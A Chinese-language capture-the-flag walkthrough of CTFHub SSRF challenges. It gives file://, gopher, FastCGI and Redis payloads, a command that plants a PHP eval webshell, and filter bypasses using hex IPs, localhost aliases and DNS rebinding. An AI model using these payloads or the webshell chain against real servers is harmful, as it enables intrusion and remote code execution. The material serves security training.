第一部分(Http、Dict和file等协议的利用)
内网访问
尝试访问位于127.0.0.1的flag.php吧
我们是从目标主机内网环境访问它本地的flag.php,我们构建url:
目录
/?url=http://127.0.0.1/flag.php
为协议读取文件
尝试去读取一下Web目录下的flag.php吧
我们尝试直接访问,发现访问不到。
那么他提供给我们的信息常使用web目录访问的话就是暗示我们用file协议
我们构建如下payload:
/?url=file:///var/www/html/flag.php
查看一下源代码
端口扫描
CTFHub在线扫端口,端口范围是8000-9000
开启环境之后,直接使用burpsuite的狙击手模式直接开始爆破
设置变量的类型(Numbers)和范围(8000-9000)
直接爆破,寻找端口,然后访问这个端口,此端口就是flag所在
第二部分(Gopher协议的利用)
POST请求
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
我们访问 127.0.0.1/flag.php 会得到一个输入框
因为是post请求所以得
查看源码
会得到一个key值 a23efde9fbddeb0cd5755d9a532c9342
这一题很简单
上传文件
我们尝试访问 ?/url=127.0.0.1/flag.php
发现有上传页面但是并没有提交按钮
我们可以通过查看源码,并在from表单中写入 submit ,如下图:
<input type="submit" name="submit">
随便上传一个比较小的文件,然后抓包
根据我们抓的包,把他进行修改一下
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
将写好的数据包进行两次转码
第一次完成后需要将%0A修改为%0D%0A
第二次结束之后然后用gopher协议访问
FastCGI协议
我们这里使用Gopherus脚本(GitHub下载)构造payload
我们先将Gopherus脚本下载至服务器上
下载地址:https://github.com/tarunkant/Gopherus.git
然后使用python2在kali上运行下列代码
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php
<?php eval($_POST[whoami]);?>
base64加密
PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4
需要将生成的进行一次编码,因为get本身会进行一次url解码
然后访问
和上传文件的方式一样
然后用中国菜刀连接
在跟目录发现了一个flag包打开就是flag
Redis协议
和fastcgi一样继续使用gopherus
但是需要改改
再次进行编码,编码之后和上一个题一样去运行,运行会一直处于转圈中,我们可以访问一下/shell.php页面,
继续和上一题一样用中国菜刀访问根目录下的flag文件就是我们需要的flag密码
Bypass
URL Bypass
构造urlbypass payload
http://challenge-71a16ac5a43dfae7.sandbox.ctfhub.com:10800/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
10进制确实被禁止,可以使用可以十六进制,二进制等其他进制
127.0.0.1
十六进制 = 7F000001
二进制 = 1111111000000000000000000000001
302跳转 Bypass
这一关主要检测127.0.0.1,绕过就行
进制转换
具有127.0.0.1含义的其他地址
参考关于localhost,0.0.0.0及127.0.0.1的区别
都可以直接KO,
进制转换 16进制 2进制(会被检测)
?url=0x7F000001/flag.php
?url=http://0x7F000001/flag.php
其他代表127.0.0.1地址符号的 localhost 0
localhos在IPV4中被指向127.0.0.1
?url=localhost/flag.php
?url=http://localhost/flag.php
?url=0/flag.php
?url=http://0/flag.php
DNS重绑定 Bypass
上一关的localhost、0是不行的
这是一个测试dns重绑定漏洞的网站,可以让一个域名随机的绑定两个IP
一个127.0.0.1,一个其他的ip(能访问就行,我设置的是自己的服务器ip)
然后直接在url中输入
?url=7000001.7cddf025.rbnd.us/flag.php
感谢大家的观看